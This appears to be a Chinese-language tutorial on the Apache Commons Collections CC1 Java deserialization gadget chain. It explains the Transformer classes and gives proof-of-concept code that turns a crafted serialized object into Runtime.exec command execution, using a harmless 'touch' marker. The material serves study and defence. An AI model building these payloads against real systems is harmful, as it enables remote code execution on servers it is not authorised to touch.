CC1 前置知识 Transformer是一个接口类,类非常简单,只有一个待实现的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface Transformer { public Object transform (Object input) ; }
实现了Transformer接口,构造函数将对象赋值到iConstant 成员变量,而实现的transform方法则返回iConstant 变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; }public Object transform (Object input) { return iConstant; }
实现了Transformer接口,构造函数赋值了方法名、参数类型和参数,实现的transform方法会直接执行我们传入的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch ... }
实现了Transformer接口,构造函数接收了Transformer数组,而transform函数的功能则是逐个执行数组中元素的transform 方法,并将前一个的返回值作为下一个执行transform 方法的输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; }public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
TransformedMap用于对标准数据结构Map 做一个装饰,其构造方法为protected ,需要通过decorate 方法间接调用构造函数
1 2 3 4 5 6 7 8 9 10 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
其put 方法可以执行transformValue 方法从而调用成员变量valueTransformer 的transfrom 方法,在CC1中需要将valueTransformer 的值设置为ChainedTransformer ,从而形成一个调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 protected Object transformValue (Object object) { if (valueTransformer == null ) { return object; } return valueTransformer.transform(object); }public Object put (Object key, Object value) { key = transformKey(key); value = transformValue(value); return getMap().put(key, value); }
CC1简化版POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class CC1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] { "touch /tmp/cmdok" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap (); Map supermap = TransformedMap.decorate(map, null , chainedTransformer); supermap.put("test" , "lengk0r" ); } }
掌握了前置知识后这个POC就很容易看懂了,这里简单说一下执行过程
先看第一段,这里是我们构造的需要触发的链子,把Transformer[]放入 ChainedTransformer 后,当调用ChainedTransformer 的transform方法后,Transformer[]会逐个从第一个元素到最后一个元素执行 transform ,触发后的结果等价于执行 Runtime.getRuntime().exec(“touch /tmp/cmdok”);
1 2 3 4 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] { "touch /tmp/cmdok" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
而下面的一段就是为了触发执行链,根据前置知识使用TransformedMap.decorate 方法装饰的Map在调用put 方法时value值会调用transformValue 从而间接调用transform 方法,达到触发目的
1 2 3 HashMap<Object, Object> map = new HashMap (); Map supermap = TransformedMap.decorate(map, null , chainedTransformer); supermap.put("test" , "lengk0r" );
在简化版中我们可以大概了解一下CC1链的触发过程,但是在现实中不会这么顺利,我只需要做两个改变
一.改变Runtime 实例获取的方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] { "touch /tmp/cmdok" }) }; 改为: Transformer[] transformer = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] { "touch /tmp/ok" }) };
要这样改变是因为 Runtime 类并没有实现 Serializable 接口,所以不能被序列化
你可能会问为什么这样就可以解决不能被序列化问题,首先我们可以看类的定义可以看出 Class 实现了Serializable接口,但是 Runtime 没有
1 2 3 4 public class Runtime {public final class Class <T> implements Serializable , GenericDeclaration, Type, AnnotatedElement {
简化版POC是通过getRuntime 方法获取了Runtime实例,方法实现如下
1 2 3 4 5 private static Runtime currentRuntime = new Runtime ();public static Runtime getRuntime () { return currentRuntime; }
很明显,这里是基于已经被创建好的实例再进行下一步操作,而实例是不能被序列化的
而在第二个方式中是操作的class ,这就是能序列化和不能序列化的区别
1 new ConstantTransformer (Runtime.class)
二.改变触发方式 在简化版中采用的触发方式可谓是手动触发,标准CC1链是会自动触发的
这段在创建Map后需要放一个值,至于为什么后面会说
1 2 3 4 5 6 7 8 9 10 ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap (); Map supermap = TransformedMap.decorate(map, null , chainedTransformer); 改为: ChainedTransformer chainedTransformer = new ChainedTransformer (transformer); HashMap<Object, Object> map = new HashMap <Object, Object>(); map.put("value" , "test" ); Map supermap = TransformedMap.decorate(map, null , chainedTransformer);
之后将put手动触发改成获取一个对象
1 2 3 4 5 6 7 8 9 10 supermap.put("test" , "lengk0r" ); 改为: Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object object = constructor.newInstance(Override.class, supermap);
因为 AnnotationInvocationHandler 并不是一个公开类,采用反射技术加载。同时这个类的构造函数也不是公开的,所以得使用 getDeclaredConstructor 方法获取,后面设置访问权限后,将之前构造的链子传入到了构造函数中创建了一个实例
1 2 3 4 5 6 构造函数: AnnotationInvocationHandler(Class<? extends Annotation > type, Map memberValues) { this .type = type; this .memberValues = memberValues; }
创建好实例后CC1就算正式完了,后面把这个实例序列化后就可以得到CC1的payload
至于为什么这个payload会在反序列化后自动触发是因为在AnnotationInvocationHandler 自带的readObject 方法会在Map不是空的情况下调用setValue ,就会调用chainedTransformer 的transform 方法点燃执行链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private void readObject (java.io.ObjectInputStream s) ... for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { ... memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
目前为止AnnotationInvocationHandler 可以触发cc1的功能已经被修复,所以了解就行